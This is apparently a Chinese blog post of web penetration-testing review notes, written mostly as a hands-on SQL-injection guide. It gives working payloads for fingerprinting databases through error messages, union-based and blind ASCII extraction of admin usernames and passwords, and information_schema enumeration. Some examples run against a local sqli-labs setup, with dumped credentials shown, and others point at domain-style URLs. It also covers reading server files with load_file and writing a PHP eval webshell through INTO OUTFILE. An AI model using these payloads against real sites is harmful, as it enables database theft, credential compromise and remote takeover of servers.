分类 渗透笔记 下的文章

web渗透 复习笔记

默认情况下,Linux系统的TTL值为64或255,Windows NT/2000/XP系统的TTL值为128,Windows 98系统的TTL值为32,UNIX主机的TTL值为255。


常见HTTP状态码

  • 200——OK
  • 404——NOT FOUND
  • 403——禁止访问
  • 500——内部服务器错误,IIS服务器无法解析ASP代码详细


如何判断一个网站的数据库

在注入点之后加一个空格,然后加上下面的这几个语句,根据错误回显,就可以判断出网站所用的数据库类型。

① and user>0

当网站的数据库是MSSql时,因为user是MSSQL的一个内置变量,我们拿这个变量和0比大小的时候,会出现错误,错误信息一般为:

将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误。

而在access中是没有用户的,所以当网站的数据库是access时,不会出现上述错误信息。

② and (select count(*) from sysobjects)>0

and (select count(*) from msysobjects)>0

这两条语句随便选一句就可以达到判断数据库类型的目的,因为sysobjects是MSSQL的内置系统表,在WEB下可以正常读取,msysobjects是Access的内置系统表,在WEB下无权读取。

另外,在注入点后加单引号也是有可能可以判断出网站的数据库类型的,比如:

http://www.xx.com/product_show.asp?id=4956

加了单引号之后的错误回显为:

/product_show.asp,行 52

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'id=4956'' 中。

从出错信息中,就可以看到,明显的有“Microsoft Access Driver”这样的字眼,那么很明显的,这个网站就是用的access数据库了。

还有这个:

http://www.xxx.com/cpzs1.asp?hid=2

错误信息为:

Microsoft JET Database Engine 错误 '80040e14'
字符串的语法错误 在查询表达式 'bigclass=2' and filename<>'' order by title asc' 中。

/cpzs1.asp,行 97

当我们看到“Microsoft JET Database Engine”这几个字符的时候,就可以断定这个网站用的是access数据库了。


asp手工注入的一般流程(支持联合查询的情况)

(1)猜表名

所用语句:
and exists (select * from 表名)

例如:
and exists (select * from admin)

如果页面回显正确,则说明我们这里猜的表名是正确的,如果页面出错,那么就说明我们这里写的表名是错误的,那就换一个表名继续猜,一直到猜中为止。

(2)猜字段

所用语句:
and exists (select 字段名 from 表名)

例如:
and exists (select username from admin)

这里,假设admin表是我上边猜对了的表,那么我要判断username字段是否存在,就要使用这条语句,如果页面回显正确,则说明我们这里猜的字段名是正确的,如果页面出错,那么就说明我们这里写的字段名是错误的,那就换一个字段名继续猜,一直到猜中为止。

(3)order by

order by 是为了获得该页面上的字段数的总和,为下一步的联合查询做准备,例子如下:

http://ihhw.com/product_show.asp?id=1 order by 10

页面显示正常,说明该页面字段总数大于等于10,继续提交:

http://ihhw.com/product_show.asp?id=1 order by 11

页面显示错误,说明该页面字段总数不大于也不等于11,那么就是小于11了,综合上面可知就是10

(4)联合查询(union select)

这里的联合查询是手工注入的最后一个环节了,也就是爆出管理员的用户名和密码,具体实例看这里:

http://ihhw.com/product_show.asp?id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 from admin

and 1=2一定要加,是为了让前面的sql不成立,页面就可以显示后面的union select效果,也可以这样写:?id=-1


asp手工注入(不支持联合查询时)——使用ascii逐字解码法

前面三步和上面的一样,这里总结下获取数据这部分方法:

第一步,我们需要获得表中字段的长度,
使用的语句:

and (select top 1 len(字段名) from 表名)>0

比如:
and (select top 1 len(admin_name) from Admin)>10

最后边的10,是一个可变的数字。>4显示正常,>5显示错误,那就是大于4但不大于5的,结果也就是5。

第二步,截取字段中的某个字符,并得到该字符的ASCII码,使用的语句:

and (select top 1 asc(mid(字段名,N,1)) from 表名)>0

比如:
and (select top 1 asc(mid(username,1,1)) from Admin)>0

我们把这句话分开来看,首先,最里边的mid(username,1,1)函数,这个是截取username字段的第一个字符,N表示要截取第几个字符,然后外边的asc()函数,这个是将mid函数截取到的字符转换成ASCII码,最外边的top 1,表示返回字段中的第一条记录,然后,最后边的“>0”,是将这个转换出的ASCII码与这个数字相比较,通过不断变换最后的这个数值,最终得出截取到的这个字符的具体的ASCII码。


php手工注入一般流程

  1. 判断是否可以注入
  2. 获得字段数
  3. 获得显示位
  4. 猜表名
  5. 猜字段

1、单引号方法判断;

2、order by ,7正常,8错误,那就是7;

3、and 1=2 union select 1,2,3,4,5

4、在第三步的地址后面加上from 表名,例如:

http://localhost/sqli-labs/Less-1/index.php?id=1%27+and+1=2+union+select+1,2,3+from+admin--+

表不存在时会报错,如:Table 'security.admin' doesn't exist

5、猜字段的方法是,使用:concat(字段名)或者group_concat(),替换显示位的位置

concat函数只获取第一条记录,group_concat函数获取数据库内所有记录。

http://localhost/sqli-labs/Less-1/index.php?id=1%27+and+1=2+union+select+1,concat(id,0x2b,username,0x2b,password),3+from+users--+

回显为:1+Dumb+Dumb

http://localhost/sqli-labs/Less-1/index.php?id=1%27+and+1=2+union+select+1,group_concat(id,0x2b,username,0x2b,password),3+from+users--+

回显为:1+Dumb+Dumb,2+Angelina+I-kill-you,3+Dummy+p@ssword,4+secure+crappy,5+stupid+stupidity,6+superman+genious,7+batman+mob!le,8+admin+admin,9+admin1+admin1,10+admin2+admin2,11+admin3+admin3,12+dhakkan+dumbo,14+admin4+admin4(输出了表内指定查询字段的所有记录,用逗号分隔)


MySQL > 5.0版本查表爆数据方法

查看有哪些数据库:

http://localhost/sqli-labs/Less-4/index.php?id=-1")+union+select+1,2,GROUP_CONCAT(DISTINCT+schema_name)+from+information_schema.schemata+--+

Illegal mix of collations for operation 'UNION'问题,请参考下面的案例。简单说就是使用convert函数,例如上面的链接修改后为:

?id=-22")+union+select+1,2,convert(GROUP_CONCAT(DISTINCT+schema_name)+using+ascii)+from+information_schema.schemata--+

查看数据库中的表:

http://localhost/sqli-labs/Less-4/index.php?id=-1")+union+select+1,2,GROUP_CONCAT(DISTINCT+table_name)+from+information_schema.tables+WHERE+table_schema=0x7365637572697479+--+

查看表中字段:

http://localhost/sqli-labs/Less-4/index.php?id=-1")+union+select+1,2,GROUP_CONCAT(DISTINCT+column_name)+from+information_schema.columns+WHERE+table_name=0x656D61696C73+--+

查看表中记录条数:

http://localhost/sqli-labs/Less-4/index.php?id=-1")+union+select+1,2,CONCAT(count(*))+from+security.emails+--+

导出表中数据:

http://localhost/sqli-labs/Less-4/index.php?id=-1")+union+select+1,2,GROUP_CONCAT(id,0x2b2b,email_id)+from+security.emails+--+

或:http://localhost/sqli-labs/Less-4/index.php?id=-1")+union+select+1,2,CONCAT(id,0x2b2b,email_id)+from+security.emails+LIMIT+0,1--+

手工注入案例一枚 链接: http://pan.baidu.com/s/1eQ6BoxO 密码: hpkp


load_file()函数使用备忘

load_file在注入里的用法是:
+union+select+1,2,3,hex(load_file(路径的hex值)),5,6,7...,8

(有的人不喜欢用hex,不过对于一些韩国啊、日本的网站,用hex的话可以防止编码问题带来的内容缺字符丢失,个人认为一些注释之类的东西还是蛮重要的。)


outfile,建表,写webshell代码

create table test(a text);

insert into test(a) value('<?php eval_r($_POST[yijuhua])?>');

select a from test into outfile 'D:\wamp\www\hack\yijuhua.php';

对于windows一定得用上面这样的形式的绝对路径.

注:重新看下写入的webshell的源码,每一个空行都多了一个\n对不?

所以出现了 Warning: Unexpected character in input: '\' (ASCII=92) state=1 错误

这是因为MySql输出文件时,咱们平日用的回车他都会自动在上面\n最为咱们用的回车。所以一般直接写webshell都是写一句话,很少写大马,因为大马写出来常常不好用,就因为多了个\n。解决方法就是在大马那上面每行结尾加个/* ,每行开头加个*/注释掉这个\n再写大马。

=========================================

刚碰到一个root空口令的MySql,进phpMyAdmin,outfile成功,但是无法load_file。如下解决:

建表:

create table test (a text);

insert into test (a) values (load_file('c:\boot.ini'));

select * from test;

成功解决。